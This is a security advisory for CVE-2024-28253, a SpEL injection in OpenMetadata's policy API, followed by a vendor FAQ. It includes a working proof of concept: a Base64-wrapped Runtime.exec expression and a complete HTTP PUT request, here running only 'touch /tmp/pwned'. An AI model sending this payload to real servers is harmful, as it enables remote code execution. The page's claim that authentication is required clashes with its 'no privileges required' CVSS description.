CVE-2024-28253

SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability

CompiledRule::validateExpression is also called from PolicyRepository.prepare

  @Override
  public void prepare(Policy policy, boolean update) {
    validateRules(policy);
  }
  ...
  public void validateRules(Policy policy) {
    List<Rule> rules = policy.getRules();
    if (nullOrEmpty(rules)) {
      throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
    }

    // Validate all the expressions in the rule
    for (Rule rule : rules) {
      CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
      rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
      rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));

      // Remove redundant resources
      rule.setResources(filterRedundantResources(rule.getResources()));

      // Remove redundant operations
      rule.setOperations(filterRedundantOperations(rule.getOperations()));
    }
    rules.sort(Comparator.comparing(Rule::getName));
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by PolicyResource.createOrUpdate():

@PUT
@Operation(
    operationId = "createOrUpdatePolicy",
    summary = "Create or update a policy",
    description = "Create a new policy, if it does not exist or update an existing policy.",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "The policy",
          content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdate(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
  Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
  return createOrUpdate(uriInfo, securityContext, policy);
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

• Prepare the payload
  • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
  • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
• Send the payload using a valid JWT token:

PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367

{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}

• Verify that a file called /tmp/pwned was created in the OpenMetadata server

This issue may lead to Remote Code Execution by a registered and authenticated user

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-28253 has a CVSS score of 9.4 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.3.1); upgrading removes the vulnerable code path.

Kodem intelligence

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

1. What is CVE-2024-28253? CVE-2024-28253 is a critical-severity code injection vulnerability in org.open-metadata:openmetadata-service (maven), affecting versions < 1.3.1. It is fixed in 1.3.1. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2024-28253? CVE-2024-28253 has a CVSS score of 9.4 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of org.open-metadata:openmetadata-service are affected by CVE-2024-28253? org.open-metadata:openmetadata-service (maven) versions < 1.3.1 is affected.
4. Is there a fix for CVE-2024-28253? Yes. CVE-2024-28253 is fixed in 1.3.1. Upgrade to this version or later.
5. Is CVE-2024-28253 exploitable, and should I be worried? Whether CVE-2024-28253 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-28253 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-28253? Upgrade org.open-metadata:openmetadata-service to 1.3.1 or later.

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